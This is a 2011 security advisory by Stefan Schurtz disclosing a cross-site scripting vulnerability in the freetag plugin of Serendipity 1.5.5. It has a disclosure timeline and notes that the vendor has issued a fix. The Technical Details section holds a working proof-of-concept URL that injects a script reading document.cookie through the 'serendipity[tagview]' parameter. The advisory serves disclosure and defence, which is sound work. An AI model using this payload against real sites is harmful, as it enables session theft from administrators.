Serendipity freetag plugin 'serendipity[tagview]' Cross-Site Scripting vulnerability

[sschurtz@xxxxxxxxxxx]

Advisory:              Serendipity freetag plugin 'serendipity[tagview]' 
Cross-Site Scripting vulnerability
Advisory ID:           SSCHADV2011-016
Author:                Stefan Schurtz
Affected Software:     Successfully tested on Serendipity 1.5.5
Vendor URL:            http://www.s9y.org
Vendor Status:         fixed
CVE-ID:                -

==========================
Vulnerability Description:
==========================

The freetag plugin parameter "serendipity[tagview]" in Serendipity backend is 
prone to a Cross-Site Scripting vulnerability

==================
Technical Details:
==================

http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=managetags&serendipity[tagview]=<script>alert(document.cookie)</script>

=========
Solution:
=========

Update to the latest version

====================
Disclosure Timeline:
====================

22-Sep-2011 - informed developers
23-Sep-2011 - fixed in the latest version
25-Sep-2011 - release date of this security advisory
25-Sep-2011 - post on BugTraq

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.s9y.org
http://www.rul3z.de/advisories/SSCHADV2011-016.txt